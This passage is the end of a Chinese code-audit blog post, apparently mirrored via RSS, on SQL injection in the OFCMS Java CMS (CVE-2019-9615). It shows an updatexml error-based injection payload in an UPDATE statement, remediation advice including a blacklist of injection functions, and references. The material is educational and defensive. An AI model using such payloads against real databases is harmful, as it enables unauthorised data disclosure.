&#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">查看 SQL 执行记录：<br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3815406976744186" data-s="300,640" style="" data-type="png" data-w="2752" src="https://wechat2rss.xlab.app/img-proxy/?k=60624ad4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYk56hveDhibbw8Wvq6Am3thm7BCFsvlh2RDnbqze8ibA4fVk9NXaFIM7iaQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">完完全全的可以控制 update 型的 SQL 注入语句，因此可以利用以下语句进行注入：<br/></p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">update</span> of_cms_link <span style="box-sizing: border-box;color: rgb(204, 153, 204);">set</span> link_name=updatexml(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">1</span>,<span style="box-sizing: border-box;color: rgb(204, 153, 204);">concat</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">0x7e</span>,(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">user</span>())),<span style="box-sizing: border-box;color: rgb(249, 145, 87);">0</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">where</span> link_id = <span style="box-sizing: border-box;color: rgb(249, 145, 87);">4</span></code></pre><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3879310344827586" data-s="300,640" style="" data-type="png" data-w="2088" src="https://wechat2rss.xlab.app/img-proxy/?k=948f1b32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkb7DYRbgcGCcVticEyv99ERwl1lH3sctZ4DvzeYTKFlorxAoEJB7hZrg%2F640%3Fwx_fmt%3Dpng"/></p><p><span name="menu_index_12" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span><br/></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">4、修复方案</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">官网虽然更新版本到了 v1.1.4 ，但是没有对这些漏洞进行修复（可能是因为后台注入，比较鸡肋），这里我仅给出我个人的修复意见。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、由于本注入是在后台产生的，因此危害性相比前台来说，很小，可以考虑限制后台使用人员对此功能使用的权限，加强管理员密码的管理。这种方法指标不治本，估计这也是官方的想法。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、由于该注入是由后台中创建表而产生的，因此无法单纯的过滤一些关键字，否则可能导致业务出现问题，可以考虑改写业务功能，如：写死参数、取消直接对数据库进行操作的一些功能等。这种方法要求业务层上做出改变，在实际中不太现实。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">3、过滤一些与 update 型注入相关的关键字，如<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">updatexml</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">extractvalue</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">name_const</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">floor</code>等。这种方法是黑名单的方式，还是存在缺陷的（万一有新姿势呢？）</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">4、设置 sql 语句操作白名单，即所用的关键词只能包含限定关键字，如 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">update</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">set</code>等。这种方式可能更安全点，但是也有可能会限制业务功能。</p><p><span name="menu_index_13" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x05 总结</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">本文主要讨论了 Java 中的 SQL 注入漏洞，包括其原理、简单的 java代码示例以及 CVE 实例。希望对初入 java 代码审计的朋友有所帮助。<br style="box-sizing: border-box;"/>本文的所有代码可以在 GitHub 上下载：<br style="box-sizing: border-box;"/><a href="https://github.com/cn-panda/JavaCodeAudit" target="_blank">https://github.com/cn-panda/JavaCodeAudit</a></p><p><span name="menu_index_14" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x06 参考</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://gitee.com/oufu/ofcms" target="_blank">https://gitee.com/oufu/ofcms</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9615" target="_blank">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9615</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://blog.csdn.net/oufua/article/details/82584637" target="_blank">https://blog.csdn.net/oufua/article/details/82584637</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://github.com/cw1997/MySQL-Monitor" target="_blank">https://github.com/cw1997/MySQL-Monitor</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><strong style="box-sizing: border-box;color: rgb(0, 0, 0);">本文首发先知社区</strong></p><p><br/></p>



<p><a href="https://www.cnpanda.net/codeaudit/600.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fb63eeb3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483716%26idx%3D1%26sn%3D85e9ed2f28c624e4e75d2c978acc4846%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 03 May 2021 16:32:00 +0800</pubDate>
    </item>
  </channel>
</rss>